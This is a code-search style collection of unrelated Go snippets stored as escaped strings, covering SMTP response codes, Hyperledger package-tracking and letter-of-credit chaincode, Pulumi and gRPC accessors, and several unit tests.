OtherOrUndefinedMailSystemStatus,\n\t\tBasicCode: 451,\n\t\tClass: ClassTransientFailure,\n\t\tComment: \"ERR \",\n\t}).String()\n\n\tCodes.FailPathTooLong = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Path too long\",\n\t}).String()\n\n\tCodes.FailInvalidAddress = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Syntax: MAIL FROM:
[EXT]\",\n\t}).String()\n\n\tCodes.FailInvalidRecipient = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Syntax: RCPT TO:
\",\n\t}).String()\n\n\tCodes.FailInvalidExtension = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Invalid arguments\",\n\t}).String()\n\n\tCodes.FailLocalPartTooLong = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Local part too long, cannot exceed 64 characters\",\n\t}).String()\n\n\tCodes.FailDomainTooLong = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Domain cannot exceed 255 characters\",\n\t}).String()\n\n\tCodes.FailMissingArgument = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Argument is missing in you command\",\n\t}).String()\n\n\tCodes.FailBackendNotRunning = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Transaction failed - backend not running \",\n\t}).String()\n\n\tCodes.FailBackendTransaction = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR \",\n\t}).String()\n\n\tCodes.SuccessMessageQueued = (&Response{\n\t\tEnhancedCode: OtherStatus,\n\t\tBasicCode: 250,\n\t\tClass: ClassSuccess,\n\t\tComment: \"OK Queued as \",\n\t}).String()\n\n\tCodes.FailBackendTimeout = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 554,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR transaction timeout\",\n\t}).String()\n\n\tCodes.FailAuthentication = (&Response{\n\t\tEnhancedCode: OtherOrUndefinedProtocolStatus,\n\t\tBasicCode: 535,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR Authentication failed\",\n\t}).String()\n\n\tCodes.ErrorCmdParamNotImplemented = (&Response{\n\t\tEnhancedCode: InvalidCommandArguments,\n\t\tBasicCode: 504,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"ERR Command parameter not implemented\",\n\t}).String()\n\n\tCodes.FailRcptCmd = (&Response{\n\t\tEnhancedCode: BadDestinationMailboxAddress,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"User unknown in local recipient table\",\n\t}).String()\n\n\tCodes.FailBadSenderMailboxAddressSyntax = (&Response{\n\t\tEnhancedCode: BadSendersMailboxAddressSyntax,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Bad sender address syntax\",\n\t}).String()\n\n\tCodes.FailBadDestinationMailboxAddressSyntax = (&Response{\n\t\tEnhancedCode: BadSendersMailboxAddressSyntax,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Bad sender address syntax\",\n\t}).String()\n\n\tCodes.FailEncryptionNeeded = (&Response{\n\t\tEnhancedCode: EncryptionNeeded,\n\t\tBasicCode: 523,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"TLS required, use STARTTLS\",\n\t}).String()\n\n\tCodes.FailUndefinedSecurityStatus = (&Response{\n\t\tEnhancedCode: SecurityStatus,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Undefined security failure\",\n\t}).String()\n}","func (t *SimpleChaincode) updatetemp(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\nvar key , jsonResp string\nvar err error\nfmt.Println(\"running updatetemp()\")\n\nif len(args) != 2 {\n jsonResp = \"Error :Incorrect number of arguments. Expecting 2. name of the key and temprature value to set\"\n return nil, errors.New(jsonResp)\n }\n\n\nkey = args[0]\nvar packageinfo PackageInfo\nvar temprature_reading int\n\nvalAsbytes, err := stub.GetState(key)\n\nif err != nil {\n jsonResp = \"Error :Failed to get state for \" + key\n return nil, errors.New(jsonResp)\n }\n\nerr = json.Unmarshal(valAsbytes, &packageinfo)\nif err != nil {\n fmt.Println(\"Could not marshal info object\", err)\n return nil, err\n }\n// validate pkd exist or not by checking temprature\nif packageinfo.PkgId != key{\n jsonResp = \" Error : Invalid PackageId Passed \"\n return nil, errors.New(jsonResp)\n }\n\n// check wheather the pkg temprature is in acceptable range and package in in valid status\nif packageinfo.PkgStatus == \"Pkg_Damaged\" {\n jsonResp = \" Error :Temprature thershold crossed - Package Damaged\"\n return nil, errors.New(jsonResp)\n }\n\ntemprature_reading, err = strconv.Atoi(args[1])\nif err != nil {\n\tjsonResp = \" Error : 2nd argument must be a numeric string\"\n \treturn nil, errors.New(jsonResp)\n\t}\n\n\nif temprature_reading > packageinfo.TempratureMax || temprature_reading < packageinfo.TempratureMin {\n packageinfo.PkgStatus = \"Pkg_Damaged\"\n }\n\nbytes, err := json.Marshal(&packageinfo)\nif err != nil {\n fmt.Println(\"Could not marshal personal info object\", err)\n return nil, err\n }\n\nerr = stub.PutState(key, bytes)\nif err != nil {\n return nil, err\n }\n\nreturn nil, nil\n}","func TestAddenda99MakeReturnCodeDict(t *testing.T) {\n\tcodes := makeReturnCodeDict()\n\t// check if known code is present\n\t_, prs := codes[\"R01\"]\n\tif !prs {\n\t\tt.Error(\"Return Code R01 was not found in the ReturnCodeDict\")\n\t}\n\t// check if invalid code is present\n\t_, prs = codes[\"ABC\"]\n\tif prs {\n\t\tt.Error(\"Valid return for an invalid return code key\")\n\t}\n}","func (o *ObmsPatchByIDDefault) Code() int {\n\treturn o._statusCode\n}","func DecodeGrpcRespRDSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}","func (c *ReturnsCodeType) UnmarshalXML(d *xml.Decoder, start xml.StartElement) error {\n\tvar v string\n\td.DecodeElement(&v, &start)\n\tfor _, attr := range start.Attr {\n\t\tif attr.Name.Local == \"datestamp\" {\n\t\t\tc.Datestamp = DtDotDateOrDateTime(attr.Value)\n\t\t}\n\t\tif attr.Name.Local == \"sourcetype\" {\n\t\t\tc.Sourcetype = SourceTypeCode(attr.Value)\n\t\t}\n\t\tif attr.Name.Local == \"sourcename\" {\n\t\t\tc.Sourcename = DtDotNonEmptyString(attr.Value)\n\t\t}\n\t}\n\tswitch v {\n\n // As specified in (ONIX 3.0 only)\n case \"00\":\n\t\tc.Body = `Proprietary`\n\n // Maintained by CLIL (Commission Interprofessionnel du Livre). Returns conditions values in should be taken from the CLIL list\n case \"01\":\n\t\tc.Body = `French book trade returns conditions code`\n\n // Maintained by BISAC: Returns conditions values in should be taken from List 66\n case \"02\":\n\t\tc.Body = `BISAC Returnable Indicator code`\n\n // NOT CURRENTLY USED – BIC has decided that it will not maintain a code list for this purpose, since returns conditions are usually at least partly based on the trading relationship\n case \"03\":\n\t\tc.Body = `UK book trade returns conditions code`\n\n // Returns conditions values in should be taken from List 204\n case \"04\":\n\t\tc.Body = `ONIX Returns conditions code`\n\tdefault:\n\t\treturn fmt.Errorf(\"undefined code for ReturnsCodeType has been passed, got [%s]\", v)\n\t}\n\treturn nil\n}","func EncodeGrpcRespRDSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}","func (o InnerErrorResponsePtrOutput) Code() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *InnerErrorResponse) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Code\n\t}).(pulumi.StringPtrOutput)\n}","func EncodeGrpcRespLicenseSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}","func (o *PatchServiceAccountTokenOK) Code() int {\n\treturn 200\n}","func (o ClusterVersionDetailsResponseOutput) CodeVersion() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ClusterVersionDetailsResponse) *string { return v.CodeVersion }).(pulumi.StringPtrOutput)\n}","func (*TestReport_Setup_SetupAction_Assert_ResultCode) Descriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_r5_core_resources_test_report_proto_rawDescGZIP(), []int{0, 3, 0, 1, 0}\n}","func (o *PatchEquipmentIoCardsMoidDefault) Code() int {\n\treturn o._statusCode\n}","func (*TestReport_ResultCode) Descriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_r5_core_resources_test_report_proto_rawDescGZIP(), []int{0, 1}\n}","func mockReturnDetailAddendumC() ReturnDetailAddendumC {\n\trdAddendumC := NewReturnDetailAddendumC()\n\trdAddendumC.ImageReferenceKeyIndicator = 1\n\trdAddendumC.MicrofilmArchiveSequenceNumber = \"1A\"\n\trdAddendumC.LengthImageReferenceKey = \"0034\"\n\trdAddendumC.ImageReferenceKey = \"0\"\n\trdAddendumC.Description = \"RD Addendum C\"\n\trdAddendumC.UserField = \"\"\n\treturn rdAddendumC\n}","func DecodeGrpcRespWorkloadSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}","func probe(stub shim.ChaincodeStubInterface) []byte {\n\tts := time.Now().Format(time.UnixDate)\n\tversion, _ := stub.GetState(CHAIN_CODE_VERSION)\n\toutput := \"{\\\"status\\\":\\\"Success\\\",\\\"ts\\\" : \\\"\" + ts + \"\\\" ,\\\"version\\\" : \\\"\" + string(version) + \"\\\" }\"\n\treturn []byte(output)\n}","func (t *SimpleChaincode) getLoc(stub *shim.ChaincodeStub , args []string) ([]byte,error) {\n \n \t \n \ts := []string{args[0], \"requester\"};\n s1 := strings.Join(s, \"_\");\n \t \n \n requester_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n \t//------------------------------------------------------------\n \ts = []string{args[0], \"beneficiary\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n beneficiary_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n \ts = []string{args[0], \"amount\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n amount_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n\ts = []string{args[0], \"expiry_date\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n expiry_date_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n\ts = []string{args[0], \"status\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n status_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n\ts = []string{args[0], \"advising_bank\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n advising_bank_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n\ts = []string{args[0], \"document_hash\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n document_hash_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n\ts = []string{args[0], \"loc_filename\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n loc_filename_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n \ts = []string{args[0], \"contract_hash\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n contract_hash_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n\ts = []string{args[0], \"bol_hash\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n bol_hash_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n \t\n \ts = []string{string(requester_string),string(beneficiary_string),string(amount_string),string(expiry_date_string),string(status_string),string(advising_bank_string),string(document_hash_string),string(loc_filename_string),string(contract_hash_string),string(bol_hash_string)};\n \n // s=[]string{string(contract_hash_string),string(bol_hash_string)};\n final_string := strings.Join(s, \"|\");\n \t\n \t\n \t\n //s := strconv.Itoa(counter) ;\n //ret_s := []byte(s);\n return []byte(final_string), nil;\n \n }","func (o *ReorderSecurityRealmsOK) Code() int {\n\treturn 200\n}","func EncodeGrpcRespDSCProfileSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}","func (o *PatchProductsByIDProductOptionsByIDDefault) Code() int {\n\treturn o._statusCode\n}","func (*CodeActionResponse_Result) Descriptor() ([]byte, []int) {\n\treturn file_protocol_rpc_rpc_proto_rawDescGZIP(), []int{31, 0}\n}","func TestModifyForIOS(t *testing.T) {\n\ttestCases := []struct {\n\t\tdescription string\n\t\tgivenRequest *openrtb2.BidRequest\n\t\texpectedLMT *int8\n\t}{\n\t\t{\n\t\t\tdescription: \"13.0\",\n\t\t\tgivenRequest: &openrtb2.BidRequest{\n\t\t\t\tApp: &openrtb2.App{},\n\t\t\t\tDevice: &openrtb2.Device{OS: \"iOS\", OSV: \"13.0\", IFA: \"\", Lmt: nil},\n\t\t\t},\n\t\t\texpectedLMT: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"14.0\",\n\t\t\tgivenRequest: &openrtb2.BidRequest{\n\t\t\t\tApp: &openrtb2.App{},\n\t\t\t\tDevice: &openrtb2.Device{OS: \"iOS\", OSV: \"14.0\", IFA: \"\", Lmt: nil},\n\t\t\t},\n\t\t\texpectedLMT: openrtb2.Int8Ptr(1),\n\t\t},\n\t\t{\n\t\t\tdescription: \"14.1\",\n\t\t\tgivenRequest: &openrtb2.BidRequest{\n\t\t\t\tApp: &openrtb2.App{},\n\t\t\t\tDevice: &openrtb2.Device{OS: \"iOS\", OSV: \"14.1\", IFA: \"\", Lmt: nil},\n\t\t\t},\n\t\t\texpectedLMT: openrtb2.Int8Ptr(1),\n\t\t},\n\t\t{\n\t\t\tdescription: \"14.1.3\",\n\t\t\tgivenRequest: &openrtb2.BidRequest{\n\t\t\t\tApp: &openrtb2.App{},\n\t\t\t\tDevice: &openrtb2.Device{OS: \"iOS\", OSV: \"14.1.3\", IFA: \"\", Lmt: nil},\n\t\t\t},\n\t\t\texpectedLMT: openrtb2.Int8Ptr(1),\n\t\t},\n\t\t{\n\t\t\tdescription: \"14.2\",\n\t\t\tgivenRequest: &openrtb2.BidRequest{\n\t\t\t\tApp: &openrtb2.App{},\n\t\t\t\tDevice: &openrtb2.Device{Ext: json.RawMessage(`{\"atts\":0}`), OS: \"iOS\", OSV: \"14.2\", IFA: \"\", Lmt: nil},\n\t\t\t},\n\t\t\texpectedLMT: openrtb2.Int8Ptr(1),\n\t\t},\n\t\t{\n\t\t\tdescription: \"14.2\",\n\t\t\tgivenRequest: &openrtb2.BidRequest{\n\t\t\t\tApp: &openrtb2.App{},\n\t\t\t\tDevice: &openrtb2.Device{Ext: json.RawMessage(`{\"atts\":2}`), OS: \"iOS\", OSV: \"14.2\", IFA: \"\", Lmt: openrtb2.Int8Ptr(0)},\n\t\t\t},\n\t\t\texpectedLMT: openrtb2.Int8Ptr(1),\n\t\t},\n\t\t{\n\t\t\tdescription: \"14.2.7\",\n\t\t\tgivenRequest: &openrtb2.BidRequest{\n\t\t\t\tApp: &openrtb2.App{},\n\t\t\t\tDevice: &openrtb2.Device{Ext: json.RawMessage(`{\"atts\":1}`), OS: \"iOS\", OSV: \"14.2.7\", IFA: \"\", Lmt: nil},\n\t\t\t},\n\t\t\texpectedLMT: openrtb2.Int8Ptr(1),\n\t\t},\n\t\t{\n\t\t\tdescription: \"14.2.7\",\n\t\t\tgivenRequest: &openrtb2.BidRequest{\n\t\t\t\tApp: &openrtb2.App{},\n\t\t\t\tDevice: &openrtb2.Device{Ext: json.RawMessage(`{\"atts\":3}`), OS: \"iOS\", OSV: \"14.2.7\", IFA: \"\", Lmt: openrtb2.Int8Ptr(1)},\n\t\t\t},\n\t\t\texpectedLMT: openrtb2.Int8Ptr(0),\n\t\t},\n\t}\n\n\tfor _, test := range testCases {\n\t\tModifyForIOS(test.givenRequest)\n\t\tassert.Equal(t, test.expectedLMT, test.givenRequest.Device.Lmt, test.description)\n\t}\n}","func (t *IPDCChaincode) invoke_update_status(stub shim.ChaincodeStubInterface, args []string, map_specification map[string]interface{}) pb.Response {\r\n\r\n\tfmt.Println(\"***********Entering invoke_update_status***********\")\r\n\r\n\tif len(args) < 2 {\r\n\r\n\t\tfmt.Println(\"Error: Incorrect number of arguments\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Incorrect number of arguments\")\r\n\t}\r\n\r\n\tvar record_specification map[string]interface{}\r\n\r\n\tvar err error\r\n\r\n\terr = json.Unmarshal([]byte(args[0]), &record_specification)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in format of record.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error in format of record.\")\r\n\t}\r\n\r\n\tadditional_json, ok := map_specification[\"additional_json\"]\r\n\r\n\tif ok {\r\n\r\n\t\tadditional_json_data, ok1 := additional_json.(map[string]interface{})\r\n\r\n\t\tif ok1 {\r\n\r\n\t\t\tfor spec, _ := range additional_json_data {\r\n\r\n\t\t\t\trecord_specification[spec] = additional_json_data[spec]\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tfmt.Println(\"Invalid additional JSON fields in specification\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\t\treturn shim.Error(\"Invalid additional JSON fields in specification\")\r\n\t\t}\r\n\t}\r\n\r\n\tvar keys_map interface{}\r\n\r\n\tvar specs map[string]interface{}\r\n\r\n\tkeys_map, error_keys_map := t.get_keys_map(stub, record_specification)\r\n\r\n\tif error_keys_map != nil {\r\n\r\n\t\tfmt.Println(error_keys_map.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(error_keys_map.Error())\r\n\t}\r\n\r\n\tspecs, ok = keys_map.(map[string]interface{})\r\n\r\n\tif !ok {\r\n\r\n\t\tfmt.Println(\"Invalid keys_map specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Invalid keys_map specification.\")\r\n\t}\r\n\r\n\tif specs[\"primary_key\"] == nil {\r\n\r\n\t\tfmt.Println(\"There is no primary key specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error : There is no primary key specification.\")\r\n\t}\r\n\r\n\tvar pk_spec []interface{}\r\n\r\n\tpk_spec, ok = specs[\"primary_key\"].([]interface{})\r\n\r\n\tif !ok {\r\n\r\n\t\tfmt.Println(\"Error in Primary key specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error in Primary key specification.\")\r\n\t}\r\n\r\n\tkey, err_key := t.createInterfacePrimaryKey(record_specification, pk_spec)\r\n\r\n\tif err_key != nil {\r\n\r\n\t\tfmt.Println(err_key.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(err_key.Error())\r\n\r\n\t}\r\n\r\n\tvar valAsBytes []byte\r\n\r\n\tvalAsBytes, err = stub.GetState(key)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error: Failed to get state for primary key. \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Failed to get state for primary key. \" + err.Error())\r\n\r\n\t} else if valAsBytes == nil {\r\n\r\n\t\tfmt.Println(\"Error: No value for key : \" + key)\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error: No value for primary key.\")\r\n\r\n\t}\r\n\r\n\terr = json.Unmarshal([]byte(valAsBytes), &record_specification)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in format of Blockchain record\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error in format of Blockchain record\")\r\n\r\n\t}\r\n\r\n\terr_del := t.delete_composite_keys(stub, specs, record_specification, key)\r\n\r\n\tif err_del != nil {\r\n\r\n\t\tfmt.Println(\"Error while deleting composite keys: \" + err_del.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error while deleting composite keys: \" + err_del.Error())\r\n\r\n\t}\r\n\r\n\tvar to_be_updated_map map[string]interface{}\r\n\r\n\terr = json.Unmarshal([]byte(args[1]), &to_be_updated_map)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in format of update map\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error in format of update map\")\r\n\r\n\t}\r\n\r\n\tfor spec, spec_val := range to_be_updated_map {\r\n\r\n\t\tvar spec_val_string, spec_ok = spec_val.(string)\r\n\r\n\t\tif !spec_ok {\r\n\r\n\t\t\tfmt.Println(\"Unable to parse value of status update\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\t\treturn shim.Error(\"Unable to parse value of status update\")\r\n\r\n\t\t}\r\n\r\n\t\tvar val_check, val_err = t.updatestatusvaliditycheck(spec, spec_val_string, map_specification)\r\n\r\n\t\tif val_check != 0 {\r\n\r\n\t\t\tfmt.Println(val_err.Error())\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\t\treturn shim.Error(val_err.Error())\r\n\t\t}\r\n\r\n\t\trecord_specification[spec] = spec_val_string\r\n\t}\r\n\r\n\tvar concatenated_record_json []byte\r\n\r\n\tconcatenated_record_json, err = json.Marshal(record_specification)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error: Unable to Marshal Concatenated Record to JSON \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Unable to Marshal Concatenated Record to JSON \" + err.Error())\r\n\t}\r\n\r\n\terr = stub.PutState(key, []byte(concatenated_record_json))\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Failed to put state : \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Failed to put state : \" + err.Error())\r\n\t}\r\n\r\n\terr = t.create_composite_keys(stub, specs, record_specification, key)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Received error while creating composite keys\" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Received error while creating composite keys\" + err.Error())\r\n\t}\r\n\r\n\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\treturn shim.Success(nil)\r\n\r\n}","func (s RepoSpec) SpecString() string {\n\tif s.IsZero() {\n\t\tpanic(\"empty RepoSpec\")\n\t}\n\treturn s.URI\n}","func (m *Win32LobAppProductCodeDetection) SetProductCode(value *string)() {\n err := m.GetBackingStore().Set(\"productCode\", value)\n if err != nil {\n panic(err)\n }\n}","func (o *PatchMachineConfigurationDefault) Code() int {\n\treturn o._statusCode\n}","func (a *Client) ChangeRegistrationDetails(params *ChangeRegistrationDetailsParams, authInfo runtime.ClientAuthInfoWriter, opts ...ClientOption) (*ChangeRegistrationDetailsOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewChangeRegistrationDetailsParams()\n\t}\n\top := &runtime.ClientOperation{\n\t\tID: \"changeRegistrationDetails\",\n\t\tMethod: \"PUT\",\n\t\tPathPattern: \"/applications/{appName}\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"http\", \"https\"},\n\t\tParams: params,\n\t\tReader: &ChangeRegistrationDetailsReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t}\n\tfor _, opt := range opts {\n\t\topt(op)\n\t}\n\n\tresult, err := a.transport.Submit(op)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*ChangeRegistrationDetailsOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for changeRegistrationDetails: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}","func newCodeResponseWriter(w http.ResponseWriter) *codeResponseWriter {\n\treturn &codeResponseWriter{w, http.StatusOK}\n}","func (t *SimpleChaincode) acceptpkg(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\nfmt.Println(\"running acceptpkg()\")\nvar key , jsonResp string\nvar err error\n\nif len(args) != 2 {\n\tjsonResp = \" Error:Incorrect number of arguments. Expecting : PkgId and Provider \"\n \treturn nil, errors.New(jsonResp)\n }\n\n key = args[0]\n var packageinfo PackageInfo\n\n valAsbytes, err := stub.GetState(key)\n\n if err != nil {\n jsonResp = \" Error Failed to get state for \" + key\n return nil, errors.New(jsonResp)\n }\n\n err = json.Unmarshal(valAsbytes, &packageinfo)\n if err != nil {\n fmt.Println(\"Could not marshal personal info object\", err)\n return nil, err\n }\n\n// validate pkd exist or not by checking temprature\n if packageinfo.PkgId != key{\n jsonResp = \"Error: Invalid PackageId Passed \"\n return nil, errors.New(jsonResp)\n }\n\n // check wheather the pkg temprature is in acceptable range and package in in valid status\n if packageinfo.PkgStatus == \"Pkg_Damaged\" { // Pkg_Damaged\n\t jsonResp = \"Error : Temprature thershold crossed - Package Damaged \"\n return nil, errors.New(jsonResp)\n }\n\n\tif packageinfo.Provider != args[1] { // Pkg_Damaged\n\t\t jsonResp = \"Error : Wrong Provider passed - Can not accept the package \"\n\t return nil, errors.New(jsonResp)\n\t }\n\n //packageinfo.Provider = args[1]\n packageinfo.PkgStatus = \"In_Transit\"\n\n bytes, err := json.Marshal(&packageinfo)\n if err != nil {\n fmt.Println(\"Could not marshal personal info object\", err)\n return nil, err\n }\n\n err = stub.PutState(key, bytes)\n if err != nil {\n return nil, err\n }\n\n return nil, nil\n}","func DecodeGrpcRespWorkloadIntfSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}","func DecodeGrpcRespDSCProfileSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}","func (*CodeActionResponse) Descriptor() ([]byte, []int) {\n\treturn file_protocol_rpc_rpc_proto_rawDescGZIP(), []int{31}\n}","func (o *PatchHyperflexSoftwareVersionPoliciesMoidDefault) Code() int {\n\treturn o._statusCode\n}","func (o *PatchLicenseCustomerOpsMoidDefault) Code() int {\n\treturn o._statusCode\n}","func (*CMsgClientToGCGetTicketCodesResponse_Code) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{360, 0}\n}","func (o UserFacingErrorResponsePtrOutput) Code() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *UserFacingErrorResponse) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Code\n\t}).(pulumi.StringPtrOutput)\n}","func (o RouteWarningsItemResponseOutput) Code() pulumi.StringOutput {\n\treturn o.ApplyT(func(v RouteWarningsItemResponse) string { return v.Code }).(pulumi.StringOutput)\n}","func (o SslPolicyWarningsItemResponseOutput) Code() pulumi.StringOutput {\n\treturn o.ApplyT(func(v SslPolicyWarningsItemResponse) string { return v.Code }).(pulumi.StringOutput)\n}","func (pc *programCode) createReturn() {\n\tcode := \"\\tret\\n\"\n\n\tpc.appendCode(code)\n\tpc.indentLevel-- // get back -> buffer before\n}","func (t *SimpleChaincode) Init(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\nvar jsonResp string\nvar packageinfo PackageInfo\nvar err error\n\n// Validate inpit\nif len(args) != 7 {\n jsonResp = \"Error: Incorrect number of arguments. Expecting 6 in order of Shipper, Insurer, Consignee, Temprature, PackageDes, Provider \"\n return nil, errors.New(jsonResp)\n }\n\n\n// Polulating JSON block with input for first block\npackageinfo.PkgId = \"1Z20170426\"\npackageinfo.Shipper = args[0]\npackageinfo.Insurer = args[1]\npackageinfo.Consignee = args[2]\npackageinfo.Provider = args[3]\npackageinfo.TempratureMin, err = strconv.Atoi(args[4])\nif err != nil {\n jsonResp = \"Error 